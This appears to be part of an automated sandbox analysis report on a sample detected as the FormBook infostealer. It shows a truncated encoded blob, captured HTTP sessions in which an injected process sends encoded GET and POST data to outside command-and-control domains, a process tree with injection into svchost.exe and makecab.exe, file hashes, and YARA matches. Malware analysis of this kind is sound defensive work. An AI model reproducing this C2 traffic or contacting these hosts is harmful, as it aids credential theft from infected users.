X1VjNAZuYu05w2ELoUDQ9H7OG2CnchNBd/QBMCta9dNMeKgxbT45pK066kTJys0OPKmdxjOuVwiPUbX5ubinqF9yH7Lz7RsnAuxWiXiA1r/V9hgBHblbLV69ZShAhE2BZ/mYL8CsHQPFVKi+upNbaxfDEKQz0tKFNWFIOO9AY73UIm81PRwHgHYD/RLJV0ywvavXdYzEOY [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50023	3.33.130.190	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:20:26.021681070 CEST	447	OUT	GET /oigd/?Yp=eXMH4fkp&nrs8j=OmljFUtRbeDOfRENDbVJh6NUYYaJHl1k9TsJZM5Ee42aF5vB50jMxPr4FwwBeRCvDsFug2RQoELqNPfysYsF+OkFJw//SD8mDkg+57R+QpypShxcm6mm+yI= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.crowsecurity.cloud Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3
Oct 8, 2024 14:20:26.592878103 CEST	393	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 12:20:26 GMT Content-Type: text/html Content-Length: 253 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 59 70 3d 65 58 4d 48 34 66 6b 70 26 6e 72 73 38 6a 3d 4f 6d 6c 6a 46 55 74 52 62 65 44 4f 66 52 45 4e 44 62 56 4a 68 36 4e 55 59 59 61 4a 48 6c 31 6b 39 54 73 4a 5a 4d 35 45 65 34 32 61 46 35 76 42 35 30 6a 4d 78 50 72 34 46 77 77 42 65 52 43 76 44 73 46 75 67 32 52 51 6f 45 4c 71 4e 50 66 79 73 59 73 46 2b 4f 6b 46 4a 77 2f 2f 53 44 38 6d 44 6b 67 2b 35 37 52 2b 51 70 79 70 53 68 78 63 6d 36 6d 6d 2b 79 49 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Yp=eXMH4fkp&nrs8j=OmljFUtRbeDOfRENDbVJh6NUYYaJHl1k9TsJZM5Ee42aF5vB50jMxPr4FwwBeRCvDsFug2RQoELqNPfysYsF+OkFJw//SD8mDkg+57R+QpypShxcm6mm+yI="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	50024	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:20:32.172312975 CEST	730	OUT	POST /tlbx/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.myjiorooms.services Content-Type: application/x-www-form-urlencoded Content-Length: 202 Connection: close Cache-Control: no-cache Origin: http://www.myjiorooms.services Referer: http://www.myjiorooms.services/tlbx/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 64 57 79 30 38 4b 36 6e 33 51 56 6a 76 4e 63 62 49 63 43 73 75 49 41 75 50 6f 65 41 36 62 2f 5a 4d 62 70 34 6b 34 76 70 78 64 4e 72 2b 65 73 63 67 62 5a 49 6e 53 53 55 62 68 4c 42 4c 56 35 35 35 2f 33 2b 43 62 2f 39 6d 6b 76 6a 39 35 5a 77 75 4e 72 77 78 57 54 45 33 7a 74 69 6d 2b 76 37 61 78 35 34 75 55 39 48 6e 76 42 30 58 44 41 47 63 4a 72 57 57 6e 42 6f 72 6f 67 35 73 52 64 75 43 41 4b 61 76 74 45 61 4b 76 36 35 4a 74 33 2f 32 45 44 35 68 6c 2f 63 6f 7a 32 46 33 34 47 74 48 49 6c 6d 54 53 63 66 2b 72 30 53 79 71 75 52 53 4e 68 31 70 6e 5a 38 69 33 7a 2f 41 4b 34 35 53 77 3d 3d Data Ascii: nrs8j=dWy08K6n3QVjvNcbIcCsuIAuPoeA6b/ZMbp4k4vpxdNr+escgbZInSSUbhLBLV555/3+Cb/9mkvj95ZwuNrwxWTE3ztim+v7ax54uU9HnvB0XDAGcJrWWnBorog5sRduCAKavtEaKv65Jt3/2ED5hl/coz2F34GtHIlmTScf+r0SyquRSNh1pnZ8i3z/AK45Sw==

Target ID:	0
Start time:	08:17:24
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\8mmZ7Bkoj1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8mmZ7Bkoj1.exe"
Imagebase:	0x400000
File size:	1'366'295 bytes
MD5 hash:	CCE5D60668494A747CA41F5D8B17E76A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	08:17:30
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8mmZ7Bkoj1.exe"
Imagebase:	0x190000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2155548191.0000000002C90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2155548191.0000000002C90000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2147046823.0000000002410000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2147046823.0000000002410000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2162734748.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2162734748.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	08:17:59
Start date:	08/10/2024
Path:	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe"
Imagebase:	0xbb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3561735545.00000000056D0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3561735545.00000000056D0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	08:18:01
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\makecab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\makecab.exe"
Imagebase:	0x2c0000
File size:	68'096 bytes
MD5 hash:	00824484BE0BCE2A430D7F43CD9BABA5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3561632009.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3561632009.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3560663904.0000000002800000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3560663904.0000000002800000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3561586168.0000000004490000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3561586168.0000000004490000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Target ID:	7
Start time:	08:18:16
Start date:	08/10/2024
Path:	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe"
Imagebase:	0xbb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3563473884.0000000005600000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.3563473884.0000000005600000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	08:18:28
Start date:	08/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true